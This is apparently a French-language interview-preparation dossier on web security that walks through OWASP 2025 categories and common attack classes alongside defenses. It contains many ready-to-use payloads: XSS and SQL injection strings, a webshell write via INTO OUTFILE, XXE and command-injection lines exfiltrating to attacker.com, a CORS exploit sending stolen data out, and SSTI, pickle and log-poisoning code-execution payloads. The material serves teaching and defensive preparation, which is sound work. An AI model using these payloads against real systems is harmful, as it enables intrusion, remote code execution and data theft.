← HOME | 🌐 WEB SECURITY | 🤖 LLM + Agentic 2026 →

Web Security Interview

Dossier de préparation · Junior Security Researcher · OWASP 2025 + PortSwigger Research

22Domaines
26Q&A
2025OWASP
PSResearch
01

HTTP Protocol — Deep Dive

FONDAMENTAL
Critique. Tout repose sur HTTP. Un interviewer peut partir de n'importe quelle couche — méthodes, headers, status codes, versions — et remonter vers les vulnérabilités. Maîtrise-le parfaitement.

Méthodes HTTP & implications sécurité

MéthodeUsageRisque sécurité
GETLecture, idempotent, cacheableParams en URL → logs, historique, Referer leakage
POSTCréation, non-idempotentDouble-submit, CSRF, mass assignment
PUTRemplacement completOverwrite de ressources, IDOR
PATCHModification partielleIdem PUT, souvent moins protégé
DELETESuppressionIDOR, autorisation faible
OPTIONSCORS preflight, liste des méthodesInfo disclosure, misconfiguration CORS
HEADComme GET sans bodyFingerprinting, SSRF probe
TRACEEcho de la requête (debug)XST (Cross-Site Tracing) → à désactiver
CONNECTTunnel HTTP (proxy)Proxy abuse, SSRF via CONNECT

Headers HTTP critiques

Security Headers (réponse)

HeaderValeur exempleProtection
Content-Security-Policydefault-src 'self'XSS, data injection
Strict-Transport-Securitymax-age=31536000; includeSubDomainsMITM, SSL stripping
X-Frame-OptionsDENYClickjacking
X-Content-Type-OptionsnosniffMIME sniffing
Referrer-Policystrict-origin-when-cross-originInfo leakage via Referer
Permissions-Policycamera=(), microphone=()Feature abuse
Set-CookieSecure; HttpOnly; SameSite=StrictCookie theft, CSRF
Access-Control-Allow-Originhttps://trusted.comCORS control

Headers de requête intéressants

# Headers souvent exploitables en SSRF / injection
X-Forwarded-For: 192.168.1.1   # Contournement IP restriction
X-Real-IP: 127.0.0.1           # Même usage
Host: evil.com                # Host Header Injection → password reset poisoning
Origin: https://attacker.com  # Test CORS
Referer: ...                   # Info leakage, CSRF validation bypass
Authorization: Bearer <JWT>  # JWT attacks
Content-Type: text/xml        # Changer pour déclencher XXE
Transfer-Encoding: chunked   # HTTP Smuggling

HTTP/1.1 vs HTTP/2 vs HTTP/3

HTTP/1.1

Texte brut, une requête à la fois par connexion (pipelining théorique). Vulnérable au Smuggling TE.CL / CL.TE. Keep-Alive par défaut.

HTTP/2

Binaire, multiplexage, header compression (HPACK). HTTP/2 Desync possible en downgrade H2→H1. PUSH deprecié. Plus performant.

HTTP/3 / QUIC

UDP + TLS 1.3 intégré. Pas de TCP head-of-line blocking. Encore émergent en pentest.

Status Codes importants en sécurité

# 2xx — Success
200 OK · 201 Created · 204 No Content

# 3xx — Redirection (exploitables pour open redirect)
301 Permanent · 302 Found · 307 Temporary · 308 Permanent

# 4xx — Client Errors
400 Bad Request · 401 Unauthorized (pas d'auth)
403 Forbidden (auth ok mais pas le droit)
404 Not Found · 405 Method Not Allowed
429 Too Many Requests (rate limiting)
451 Unavailable for Legal Reasons

# 5xx — Server Errors (info disclosure)
500 Internal Server Error (stack trace?)
502 Bad Gateway · 503 Service Unavailable
💡
Astuce interview : La différence 401 vs 403 est souvent demandée. 401 = non authentifié (doit fournir des credentials). 403 = authentifié mais non autorisé (forbidden).
02

Browser Security Model

FONDAMENTAL

Same-Origin Policy (SOP)

La SOP est le mécanisme fondamental des navigateurs : un document d'une origine ne peut pas lire les réponses d'une autre origine.

Origine = Schéma + Hostname + Port

# Même origine ✓
https://example.com/page   → https://example.com/api    

# Origines différentes ✗
https://example.com        → http://example.com           (schéma)
https://example.com        → https://api.example.com      (sous-domaine)
https://example.com        → https://example.com:8080     (port)
https://example.com        → https://evil.com             (domaine)

Ce que SOP autorise malgré tout : embedding d'images/scripts/CSS cross-origin, form submissions cross-origin (d'où la nécessité du CSRF token), navigations cross-origin.

CORS (Cross-Origin Resource Sharing)

Mécanisme qui assouplit la SOP via des headers HTTP. Permet au serveur d'autoriser certaines origines à lire ses réponses.

# Simple requests (GET, POST avec certains Content-Types) → pas de preflight
# Complex requests → preflight OPTIONS d'abord

### Requête preflight ###
OPTIONS /api/data HTTP/1.1
Origin: https://attacker.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Authorization

### Réponse vulnérable ###
Access-Control-Allow-Origin: https://attacker.com   # refléter l'origine = VULN
Access-Control-Allow-Credentials: true                # permet cookies = CRITIQUE

### Mauvaises configs courantes ###
Access-Control-Allow-Origin: *                          # wildcard (mais pas avec credentials)
# Regexp mal faite : authorise evil.com si la whitelist check "example.com" en substring
# Null origin : Access-Control-Allow-Origin: null → exploitable via iframe sandboxé

Content Security Policy (CSP)

En-tête qui contrôle quelles ressources le navigateur peut charger. Principal contre-mesure XSS.

# CSP stricte (bonne)
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none'

# Bypasses CSP courants en interview
1. JSONP endpoint sur whitelisted domain → exécution JS
   script-src https://trusted.com → si trusted.com a /api/jsonp?callback=alert

2. unsafe-inline → XSS directement
3. unsafe-eval → permet eval(), new Function()

4. Angular/React sur whitelisted domain → CSP bypass via framework gadgets

5. base-uri non défini → injection <base href="https://evil.com/"> → relative URL hijack

6. data: URI si autorisé → script src="data:text/javascript,alert(1)"

Cookies & attributs sécurité

# Cookie parfaitement sécurisé
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Domain=example.com

HttpOnly   → JS ne peut pas lire (document.cookie) → bloque vol XSS
Secure     → HTTPS seulement → bloque MITM
SameSite   → Strict: jamais cross-site | Lax: GET navigation ok | None: toujours (+ Secure)
SameSite=None sans Secure → cookie envoyé en HTTP = vol possible
SameSite absent (ancien) = comportement Lax dans Chrome moderne
03

OWASP Top 10 (2025)

INCONTOURNABLE — VERSION 2025
🆕
Changements majeurs vs 2021 : A02 et A03 ont bougé. A03 est maintenant "Software Supply Chain Failures" (anciennement "Vulnerable Components" A06). A10 est une nouvelle catégorie : "Mishandling of Exceptional Conditions" (remplace SSRF, qui est maintenant dans A01). En entretien, citez la version 2025 !

Comparatif 2021 → 2025

Rang 2025Catégorie 2025Rang 2021Delta
A01Broken Access Control (inclut SSRF + CSRF)A01= stable · +SSRF/CSRF absorbés
A02Security MisconfigurationA05↑ remonte de A05
A03Software Supply Chain Failures ⭐ NEW SCOPEA06↑ scope élargi supply chain
A04Cryptographic FailuresA02↓ descend de A02
A05InjectionA03↓ descend de A03
A06Insecure DesignA04↓ descend de A04
A07Authentication FailuresA07= stable
A08Software or Data Integrity FailuresA08= stable
A09Security Logging and Alerting FailuresA09= stable
A10Mishandling of Exceptional Conditions ⭐ NOUVEAU🆕 Brand new 2025
A01
Broken Access Control
100% des apps testées affectées. Absorbe SSRF (CWE-918) et CSRF (CWE-352). IDOR, privilege escalation, force browsing, JWT tampering, CORS misconfiguration.
A02
Security Misconfiguration
Remonte de A05→A02. CORS wildcard, debug actif, default credentials, headers sécurité absents, cloud storage public, permissions incorrectes.
A03
Software Supply Chain Failures ⭐
Nouveau scope élargi. SolarWinds, Log4Shell, Bybit $1.5B (2025), npm worm Shai-Hulud (500+ packages). SBOM, CI/CD hardening, dépendances transitives.
A04
Cryptographic Failures
Données sensibles en clair, algos faibles (MD5, SHA1, DES), TLS mal configuré, clés hardcodées, entropie faible.
A05
Injection
SQLi, CMDi, LDAP, NoSQLi, XXE, SSTI. Entrée non validée interprétée comme commande. Prepared statements obligatoires.
A06
Insecure Design
Problèmes de conception : absence de threat modeling, logique métier exploitable, pas de defense-in-depth by design.
A07
Authentication Failures
Brute-force, credential stuffing, tokens faibles, session fixation, mauvaise gestion logout, MFA absent sur ressources critiques.
A08
Software & Data Integrity Failures
Pipelines CI/CD non sécurisés, insecure deserialization, SRI absent sur CDN, mises à jour non signées, artifacts non vérifiés.
A09
Security Logging & Alerting Failures
Logs insuffisants, pas d'alerte, logs non protégés. Retarde la détection des incidents (MTTD/MTTR impactés).
A10
Mishandling of Exceptional Conditions ⭐ NEW
Nouveau 2025. Mauvaise gestion des erreurs : stack traces exposées, fail-open, race conditions transactionnelles, DoS via exhaustion de ressources. 24 CWEs mappés.

Focus A03 — Software Supply Chain Failures (nouveau scope)

Exemples réels cités par OWASP 2025 :

  • SolarWinds (2019) : ~18 000 organisations compromises via mise à jour Orion backdoorée
  • Log4Shell (CVE-2021-44228) : RCE dans Apache Log4j, impact mondial
  • Bybit hack (2025) : Vol de $1.5 milliard via supply chain attack dans le wallet software — exécution conditionnelle du malware uniquement sur le wallet cible
  • Shai-Hulud npm worm (2025) : Premier worm npm auto-propagant — 500+ packages infectés, harvest de npm tokens pour se propager
# Défenses Supply Chain (SBOM-first approach)
→ Software Bill of Materials (SBOM) : inventaire complet de TOUTES les dépendances
→ Outils : OWASP Dependency-Track, Dependency-Check, Snyk, retire.js
→ Signed builds : vérifier la provenance des artifacts (Sigstore)
→ Staged rollouts : ne pas déployer à tous les systèmes simultanément
→ Séparation des rôles CI/CD : personne ne peut coder ET pousser en prod seul
→ Pin les versions de dépendances + audit régulier CVE/NVD/OSV

Focus A10 — Mishandling of Exceptional Conditions (NEW 2025)

Nouvelle catégorie réunissant les problèmes de gestion d'erreurs et conditions exceptionnelles. 24 CWEs, dont :

  • CWE-636 — Not Failing Securely ("Fail Open") : quand une erreur se produit, le système laisse passer au lieu de bloquer
  • CWE-209 : messages d'erreur révélant des informations internes (stack traces, chemins, versions)
  • CWE-476 : null pointer dereference → crash exploitable
  • Race conditions transactionnelles : débit/crédit non atomique → fraude potentielle
# Exemples d'exploitation A10
Scénario 1 : Forcer des erreurs 500 pour lire les stack traces → SQLi recon
Scénario 2 : Interrompre une transaction multi-étape → race condition → double spend
Scénario 3 : Upload massif → ressources non libérées → DoS progressif
Scénario 4 : Exception non catchée → fail open → bypass d'authentification

# Défense
→ Fail CLOSED (pas fail open) : toujours rejeter en cas de doute
→ Erreurs génériques côté client, logs détaillés côté serveur uniquement
→ Transactions atomiques avec rollback complet
→ Rate limiting sur les endpoints qui génèrent des erreurs
→ Global exception handler en dernier recours
04

Cross-Site Scripting (XSS)

CRITIQUE

Reflected XSS

Payload dans la requête, reflété immédiatement dans la réponse. Non persistant. Requiert que la victime clique sur un lien malveillant.

Stored XSS

Payload stocké en BDD, exécuté chaque fois que la page est chargée. Plus dangereux. Commentaires, profils, messages.

DOM-Based XSS

Le payload ne passe jamais par le serveur. Le JS client lit un source (URL hash, localStorage) et l'injecte dans le DOM sans sanitization.

Sources et Sinks DOM XSS

# Sources DOM (où l'attaquant contrôle la donnée)
document.URL, document.location, document.referrer
location.href, location.hash, location.search
window.name, document.cookie, localStorage, sessionStorage
postMessage data

# Sinks dangereux (où la donnée est exécutée)
document.write()          → injection HTML
innerHTML, outerHTML      → injection HTML
eval(), setTimeout(str)   → exécution JS
location.href = userInput → javascript: URI
src, href attributes      → si non filtré
$.html(), $(userInput)    → jQuery sinks

Payloads & contournements

# Basique
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

# Bypass filtres
<ScRiPt>alert(1)</ScRiPt>       // case insensitive
<script>alert`1`</script>       // template literals (bypass parenthèses)
<img src=x onerror="alert(1)"> // HTML entities
<iframe srcdoc="<script>alert(1)</script>">
<details open ontoggle=alert(1)>
<body/onload=alert(1)>

# XSS dans attributs
" onmouseover="alert(1)
' autofocus onfocus='alert(1)

# XSS dans href (javascript: URI)
javascript:alert(document.cookie)
JaVaScRiPt:alert(1)            // bypass toLowerCase

# Blind XSS (payload qui callback)
<script src="https://your-server.com/x.js"></script>

Impact XSS

  • Vol de session : document.cookie → envoi vers serveur attaquant
  • Keylogging : capturer les frappes clavier
  • Phishing in-app : faux login form injecté
  • CSRF via XSS : XSS bypasse les restrictions CSRF (même origine)
  • Exfiltration de données : lecture du DOM, localStorage
  • Webcam / microphone : via MediaDevices API si permissions accordées
  • Defacement : modification visuelle

Préventions XSS

  • Output encoding : encoder selon le contexte (HTML, JS, URL, CSS)
  • CSP stricte : script-src 'nonce-{random}'
  • HttpOnly cookies : bloque le vol via document.cookie
  • DOMPurify : sanitisation côté client
  • Trusted Types : API navigateur pour bloquer les sinks dangereux
05

SQL Injection

CRITIQUE

Types de SQLi

TypeDescriptionTechnique d'extraction
In-band Error-basedErreur SQL visible dans la réponseMessages d'erreur DB
In-band Union-basedUNION SELECT pour extraire donnéesColonnes additionnelles
Blind Boolean-basedComportement différent selon condition vraie/fausseInférence bit par bit
Blind Time-basedDélai si condition vraie (SLEEP, WAITFOR)Timing attack
Out-of-bandDNS/HTTP callback extérieurDNS exfiltration, XXE OOB
Second-orderPayload stocké, exécuté plus tardExploitation différée

Payloads classiques

# Test de base
' OR '1'='1
' OR 1=1--
" OR 1=1--
') OR ('1'='1

# Union-based (trouver nb de colonnes)
' ORDER BY 1-- 
' ORDER BY 2--   ← jusqu'à erreur
' UNION SELECT NULL,NULL,NULL--

# Extraction données (MySQL)
' UNION SELECT username,password FROM users--
' UNION SELECT table_name,2 FROM information_schema.tables--
' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'--

# Boolean Blind (MySQL)
' AND SUBSTRING(username,1,1)='a'--     ← vrai si 1er char = 'a'
' AND (SELECT COUNT(*) FROM users)>0--

# Time-based Blind
'; IF(1=1) WAITFOR DELAY '0:0:5'--    (MSSQL)
' AND SLEEP(5)--                       (MySQL)
'; SELECT pg_sleep(5)--               (PostgreSQL)

# Lecture de fichiers (MySQL)
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL--

# Écriture fichier (MySQL avec FILE priv)
' UNION SELECT "" INTO OUTFILE '/var/www/html/shell.php'--

Bases de données — différences clés

FeatureMySQLPostgreSQLMSSQLOracle
Commentaire-- / #-- -- --
Version@@versionversion()@@versionv$version
ConcatCONCAT(a,b)a||ba+ba||b
SleepSLEEP(5)pg_sleep(5)WAITFOR DELAYdbms_pipe.receive_message
Tables systèmeinformation_schemapg_catalogsys.tablesALL_TABLES

NoSQL Injection

# MongoDB — bypass authentification
POST /login
{"username": {"$ne": null}, "password": {"$ne": null}}

# Opérateurs NoSQLi MongoDB
$ne  (not equal)  $gt  $regex  $where  $exists

# Injection dans URL params
GET /users?id[$ne]=0  → retourne tous les users si non filtré

Préventions SQLi

  • Prepared Statements / Parameterized Queries — séparation code/données
  • ORM avec bindings sécurisés — mais attention aux raw queries!
  • Whitelist de caractères autorisés, validation des inputs
  • Least privilege sur le compte DB (pas de FILE, pas de DROP)
  • WAF comme couche défense en profondeur (pas suffisant seul)
06

CSRF — Cross-Site Request Forgery

HIGH

L'attaquant force un utilisateur authentifié à effectuer une action non voulue sur un site où il est connecté. Le navigateur envoie automatiquement les cookies de session avec la requête cross-site.

Fonctionnement

# 1. Victime connectée sur bank.com avec cookie de session
# 2. Victime visite evil.com
# 3. evil.com contient :
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
# ou pour POST :
<form action="https://bank.com/transfer" method="POST" id="f">
  <input name="to" value="attacker">
  <input name="amount" value="10000">
</form>
<script>document.getElementById('f').submit()</script>

Contournements de défenses CSRF

  • Referer absent : supprimer le header Referer (meta Referrer-Policy: no-referrer)
  • Origin header bypass : certaines configs autorisent null origin
  • Token dans URL : si le token CSRF est prévisible ou leaké via Referer
  • Double Submit Cookie bypass : si l'attaquant peut écrire des cookies (sous-domaine compromis)
  • CSRF + XSS : XSS sur la cible permet de lire et rejouer le token CSRF
  • SameSite=None : cookies envoyés en cross-site → CSRF possible
  • SameSite=Lax bypass : GET requests de navigation top-level → CSRF sur GET actions

Défenses

  • CSRF Token synchronizer pattern : token aléatoire par session inclus dans chaque form
  • SameSite=Strict sur les cookies de session
  • Vérification du header Origin/Referer (mais pas suffisant seul)
  • Double Submit Cookie pattern (attention aux sous-domaines)
  • Custom header sur requêtes AJAX (XMLHttpRequest ne peut pas être cross-origin sans CORS)
07

Server-Side Request Forgery (SSRF)

CRITIQUE

L'attaquant force le serveur à faire des requêtes HTTP vers des destinations qu'il contrôle : interne (metadata cloud, services non exposés) ou externe.

Cibles SSRF classiques

# Cloud metadata (AWS, GCP, Azure)
http://169.254.169.254/latest/meta-data/               (AWS IMDSv1)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/    (GCP — header requis)
http://169.254.169.254/metadata/v1/                    (Azure)

# Services internes
http://localhost:8080/admin
http://127.0.0.1:6379/  → Redis (no auth par défaut)
http://internal-service/api/admin

# Autres protocoles (Blind SSRF)
file:///etc/passwd
dict://localhost:11211/  → Memcached
gopher://localhost:6379/ → Redis via Gopher
ftp://internal-host/

Bypasses de filtres SSRF

# Encodage IP
http://0177.0.0.1/       (octal 127.0.0.1)
http://0x7f000001/       (hex)
http://2130706433/       (decimal)
http://127.1/            (notation courte)

# IPv6
http://[::1]/
http://[::ffff:127.0.0.1]/

# DNS rebinding
http://attacker-domain.com/  → résout d'abord IP publique (validation), puis 127.0.0.1 (exploitation)

# Open redirect chain
https://trusted.com/redirect?url=http://169.254.169.254/

# URL shorteners
http://bit.ly/xxxx → redirige vers 127.0.0.1

# Domain tricks
http://localhost.example.com/     (si DNS résout en 127.0.0.1)
http://evil.com%[email protected]/ (parsing ambiguité)
http://169.254.169.254.evil.com/  (subdomain confusion)

# nip.io / xip.io (DNS wildcard → résout l'IP dans le nom)
http://127.0.0.1.nip.io/

Blind SSRF

Pas de réponse visible → utiliser Burp Collaborator, interactsh, ou un serveur de callback pour détecter les connexions entrantes.

Défenses SSRF

  • Whitelist stricte des URLs/IPs autorisées (pas de blacklist)
  • Résoudre le DNS puis vérifier l'IP résolue (protège du DNS rebinding)
  • Désactiver les redirections HTTP
  • Utiliser IMDSv2 sur AWS (token requis, pas juste GET)
  • Réseau : isoler les services internes du serveur web
08

XML External Entity (XXE)

CRITIQUE

Exploitation basique

# Lecture de fichier local
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

# SSRF via XXE
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">

# XXE Out-of-Band (Blind) — exfiltration via DTD externe
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>

# evil.dtd sur le serveur attaquant :
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;

Surfaces d'attaque XXE

  • Upload de fichiers XML, SVG, DOCX, XLSX, PDF (tous XML sous le capot)
  • APIs REST qui acceptent Content-Type: application/xml
  • SOAP WebServices
  • Fichiers de config XML

Défenses XXE

  • Désactiver le traitement des entités externes dans le parser XML
  • Java: factory.setFeature("http://xml.org/sax/features/external-general-entities", false)
  • Utiliser des formats moins complexes (JSON) si possible
  • Patcher les bibliothèques XML
09

IDOR & Broken Access Control

OWASP #1 2021

IDOR (Insecure Direct Object Reference) : accéder à des objets en manipulant des références directes (IDs) sans vérification d'autorisation côté serveur.

Types de références

# Numérique séquentiel (trivial)
GET /api/invoices/1337 → essayer 1338, 1336

# GUID/UUID (moins évident mais toujours possible si leaké)
GET /api/docs/550e8400-e29b-41d4-a716-446655440000

# Hash MD5 de l'email (prédictible)
GET /api/profile/5d41402abc4b2a76b9719d911017c592

# Paramètre caché
POST /api/updateUser
{"userId": 1337, "email": "new@email.com"}  → changer userId

Vertical vs Horizontal Privilege Escalation

Horizontal (même rôle)

User A accède aux données de User B. Même niveau de privilège, différent utilisateur. Exemple : voir la facture d'un autre client.

Vertical (rôle supérieur)

User normal accède à des fonctions admin. Exemple : endpoint /admin/users accessible sans vérification de rôle.

Broken Access Control — patterns communs

  • Changer role=userrole=admin dans la requête / cookie
  • Accéder à /admin via variation d'URL : /Admin, /ADMIN, //admin
  • Méthode HTTP non vérifiée : GET /admin bloqué mais POST /admin accessible
  • JWT : modifier le payload sans vérification de signature (alg: none)
  • Mass Assignment : {"username":"x","isAdmin":true}
  • Path traversal dans l'ID : /api/files/../../../etc/passwd
10

Path Traversal & LFI/RFI

HIGH

Path Traversal

# Basique
GET /download?file=../../../etc/passwd
GET /read?path=....//....//etc/passwd     (bypass filtre ../)
GET /file?name=..%2F..%2Fetc%2Fpasswd    (URL encoded)
GET /file?name=..%252F..%252Fetc/passwd  (double encoded)
GET /file?name=....\/....\/etc/passwd    (mix slash)

# Bypass de filtre "doit commencer par /uploads"
/uploads/../../../etc/passwd
/uploads/....//....//etc/passwd

LFI (Local File Inclusion)

# PHP classique
?page=../../../../etc/passwd
?lang=php://filter/convert.base64-encode/resource=index.php ← lire source PHP

# LFI → RCE via log poisoning
1. Injecter dans User-Agent : <?php system($_GET['cmd']); ?>
2. Include le log Apache : ?page=/var/log/apache2/access.log&cmd=id

# Wrappers PHP intéressants
php://input          → envoyer du PHP dans le POST body
php://filter         → lire fichiers en base64
data://text/plain    → data URI (si allow_url_include)
zip://               → RCE via zip upload
phar://              → phar deserialization

# Fichiers sensibles cibles
/etc/passwd · /etc/shadow · /proc/self/environ · /proc/self/cmdline
/var/log/apache2/access.log · /var/log/nginx/access.log
~/.ssh/id_rsa · /app/config.php · /.env
11

Command Injection

CRITIQUE → RCE
# Séparateurs de commandes
; id                    séquentiel
&& id                   si précédente réussit
|| id                   si précédente échoue
| id                    pipe
`id`                    backtick (bash)
$(id)                   substitution de commande
%0a id                  newline (URL encoded)

# Bypass filtres d'espace
{cat,/etc/passwd}
cat${IFS}/etc/passwd
cat</etc/passwd

# Out-of-band (Blind CMDi)
; nslookup attacker.com
; curl http://attacker.com/$(whoami)
; ping -c 1 attacker.com
12

Server-Side Template Injection (SSTI)

CRITIQUE → RCE

Détection & Identification

# Payloads de détection (mathématiques)
{{7*7}}     → 49 ? → Jinja2/Twig
${7*7}      → 49 ? → FreeMarker/Velocity
<%= 7*7 %> → 49 ? → ERB (Ruby)
#{7*7}      → 49 ? → Pebble

# Identification fine
{{7*'7'}}   → '7777777' = Jinja2 | 49 = Twig

Exploitation par moteur

## Jinja2 (Python/Flask)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[XXX].__init__.__globals__['__builtins__']['__import__']('os').system('id')}}

## Twig (PHP/Symfony)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

## FreeMarker (Java)
${"freemarker.template.utility.Execute"?new()("id")}

## Smarty (PHP)
{system("id")}
13

Insecure Deserialization

CRITIQUE → RCE

La désérialisation transforme des données sérialisées (JSON, XML, binaire) en objets. Si un attaquant contrôle les données sérialisées, il peut instancier des objets arbitraires → RCE via des gadget chains.

Langages & formats concernés

# Java — sérialisé binaire
Identifié par: AC ED 00 05 (hex) / rO0AB (base64)
Outils: ysoserial, GadgetProbe, Burp Deserialization Scanner
Gadget chains: CommonsCollections, Spring, Groovy...

# PHP — serialize()
O:4:"User":2:{s:4:"name";s:5:"admin";s:8:"isAdmin";b:1;}
→ Modifier isAdmin: b:1 (true)
Phar deserialization via phar:// wrapper

# Python — pickle
# JAMAIS désérialiser du pickle non vérifié → RCE direct
import pickle, os
class RCE: __reduce__ = lambda self: (os.system, ('id',))
pickle.dumps(RCE())

# JavaScript Node.js — node-serialize, serialize-javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',...)}"}
14

Authentication & Session Management

HIGH

Attaques d'authentification courantes

AttaqueDescriptionPrévention
Brute-forceEssai exhaustif de passwordsRate limiting, lockout, CAPTCHA
Credential StuffingCombos user:pass leakésMFA, détection d'anomalie
Password Spraying1 password → many usersRate limiting par IP et user
Username EnumerationRéponses différentes si user existeMessages d'erreur génériques
Reset Token WeakToken prévisible ou non expirantRandom + courte validité + usage unique
Session FixationForcer l'ID de session avant loginRégénérer l'ID après login
Session HijackingVol de cookie session (XSS, MITM)HttpOnly, Secure, rotation

Host Header Injection → Password Reset Poisoning

# Si le serveur utilise le Host header pour construire l'URL de reset :
POST /reset-password
Host: attacker.com
email: victim@example.com

# La victime reçoit un email avec :
https://attacker.com/reset?token=abc123
# → l'attaquant intercepte le token
15

JWT Attacks

HIGH

JWT = header.payload.signature en base64url. Le serveur vérifie la signature pour s'assurer que le payload n'a pas été modifié.

Attaques classiques

## 1. Algorithm None Attack
# Changer alg: HS256 → none, supprimer la signature
{"alg":"none","typ":"JWT"}
# Payload: {"user":"admin"}
# Envoyer: eyJ... (header) . eyJ... (payload) . (signature vide)

## 2. HS256 → RS256 (Algorithm Confusion)
# Si le serveur utilise RS256 mais accepte HS256 :
# Signer avec la clé PUBLIQUE RSA en tant que secret HMAC
# jwt_tool: python3 jwt_tool.py [token] -X k -pk public.pem

## 3. Weak Secret (Brute Force)
# Si HS256 avec secret faible :
hashcat -a 0 -m 16500 [jwt] /usr/share/wordlists/rockyou.txt

## 4. JWT Header Injection (kid, jku, x5u)
# kid parameter injection → path traversal ou SQL injection
{"kid": "../../dev/null"}  → signer avec string vide
{"kid": "' UNION SELECT 'attacker-key'--"}

# jku / x5u → pointer vers un JWK externe contrôlé
{"jku": "https://attacker.com/jwks.json"}  → serveur fetch les clés publiques de l'attaquant

## 5. Embedded JWK
# Insérer sa propre clé publique dans le header jwk
{"alg":"RS256","jwk":{"kty":"RSA","n":"...","e":"AQAB"}}
16

OAuth 2.0 & OIDC Security

HIGH

Flows OAuth 2.0

FlowUsageRisque
Authorization CodeWeb apps (recommandé)Open redirect, CSRF sur callback
Authorization Code + PKCEMobile/SPA (best practice)Plus sécurisé
Implicit (déprécié)SPA (ancien)Token dans URL → logs, Referer
Client CredentialsM2M (machine-to-machine)Secret leak
Resource Owner PasswordDépréciéExposition des credentials

Attaques OAuth courantes

## 1. Open Redirect → Account Takeover
# redirect_uri non validée strictement
/oauth/authorize?client_id=app&redirect_uri=https://evil.com&...
# Variations bypass whitelist :
https://trusted.com.evil.com/callback    (subdomain)
https://trusted.com/callback@evil.com   (@ ambiguité)
https://trusted.com/callback#evil.com   (fragment)
https://trusted.com/../redirect?evil.com (path traversal)

## 2. CSRF sur OAuth callback
# state parameter absent ou non validé
# → forcer l'association d'un compte OAuth attaquant

## 3. Authorization Code Interception
# Redirect vers page contrôlée, récupérer ?code= dans le Referer

## 4. Scope Escalation
# Modifier scope=read → scope=admin si non validé

## 5. Flawed Token Validation
# Utiliser un access_token d'une autre app (même provider)
17

CORS Misconfiguration & CSP Bypass

HIGH

Exploitation CORS misconfiguration

# Test : envoyer Origin: https://evil.com et voir si reflété dans Access-Control-Allow-Origin

# Exploit si ACAO: evil.com + ACAC: true
fetch('https://vulnerable.com/api/sensitive', {credentials: 'include'})
  .then(r => r.text())
  .then(data => fetch('https://attacker.com/steal?d=' + btoa(data)));

# null origin exploit (iframe sandboxé)
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  src="data:text/html,<script>fetch('https://vuln.com/api',{credentials:'include'})...</script>">
</iframe>
18

HTTP Request Smuggling

HIGH

Exploite des divergences dans la façon dont le front-end (proxy/CDN) et le back-end interprètent la frontière entre requêtes HTTP, permettant de "faire passer en contrebande" une partie d'une requête comme le début d'une autre.

Variantes

## CL.TE — Front-end croit Content-Length, Back-end croit Transfer-Encoding
POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

## TE.CL — Front-end croit TE, Back-end croit CL
POST / HTTP/1.1
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


## TE.TE — Les deux interprètent TE, mais l'un peut être ambigu
Transfer-Encoding: xchunked
Transfer-Encoding : chunked    (espace avant :)
Transfer-Encoding: chunked
Transfer-Encoding: x          (double header)

Impact

  • Bypass de sécurité front-end (WAF, auth)
  • Capturer les requêtes d'autres utilisateurs (vol de sessions, credentials)
  • Accès à des endpoints internes
  • Réflexion XSS qui contourne CSP
  • Web cache poisoning via smuggling
19

Web Cache Poisoning

HIGH

Empoisonner le cache d'un CDN/proxy avec une réponse malveillante, servie ensuite à tous les utilisateurs de la ressource.

# Principe : trouver un "unkeyed input" (pas dans la cache key mais reflété dans la réponse)

# Exemple : X-Forwarded-Host reflété dans des liens de la page
GET / HTTP/1.1
Host: example.com
X-Forwarded-Host: evil.com

# Si la réponse contient : <script src="//evil.com/app.js">
# Et est mise en cache → tous les visiteurs chargent le JS de l'attaquant

# Autres headers unkeyed courants :
X-Host, X-Forwarded-Server, X-Original-URL, X-Rewrite-URL
Vary: (défini mais non implémenté comme cache key)
20

API Security

HIGH

OWASP API Top 10 (2023)

#VulnérabilitéDescription courte
API1Broken Object Level AuthorizationIDOR sur les objets
API2Broken AuthenticationTokens faibles, mauvaise gestion
API3Broken Object Property Level AuthAccès à des propriétés non autorisées
API4Unrestricted Resource ConsumptionNo rate limit, DoS possible
API5Broken Function Level AuthEndpoints admin accessibles
API6Unrestricted Access to Sensitive FlowsPas de limite sur flows sensibles
API7Server-Side Request ForgerySSRF via API
API8Security MisconfigurationCORS, debug, verbose errors
API9Improper Inventory ManagementEndpoints non documentés, versions legacy
API10Unsafe Consumption of APIsTrust implicite des APIs tierces

GraphQL Security

# Introspection (souvent laissée active en production)
{"query": "{__schema{types{name}}}"}
{"query": "{__type(name:\"User\"){fields{name}}}"}

# Batch Queries → brute-force en 1 requête
[{"query": "{ login(user:'admin', pass:'password1') }"},
 {"query": "{ login(user:'admin', pass:'password2') }"}]

# Alias pour contourner rate limit
{ q1: user(id:1){email} q2: user(id:2){email} q3: user(id:3){email} }

# Injections dans les mutations GraphQL
mutation { createUser(name: "'; DROP TABLE users;--") }
21

Clickjacking

MEDIUM
# L'attaquant embed la page cible dans un iframe transparent au-dessus d'un leurre
<style>
  iframe { opacity: 0.01; position: absolute; top: 0; left: 0; width: 100%; height: 100%; }
  #lure { position: absolute; top: 300px; left: 200px; }
</style>
<div id="lure">WIN A PRIZE! CLICK HERE</div>
<iframe src="https://victim.com/settings/delete-account"></iframe>

# Défenses
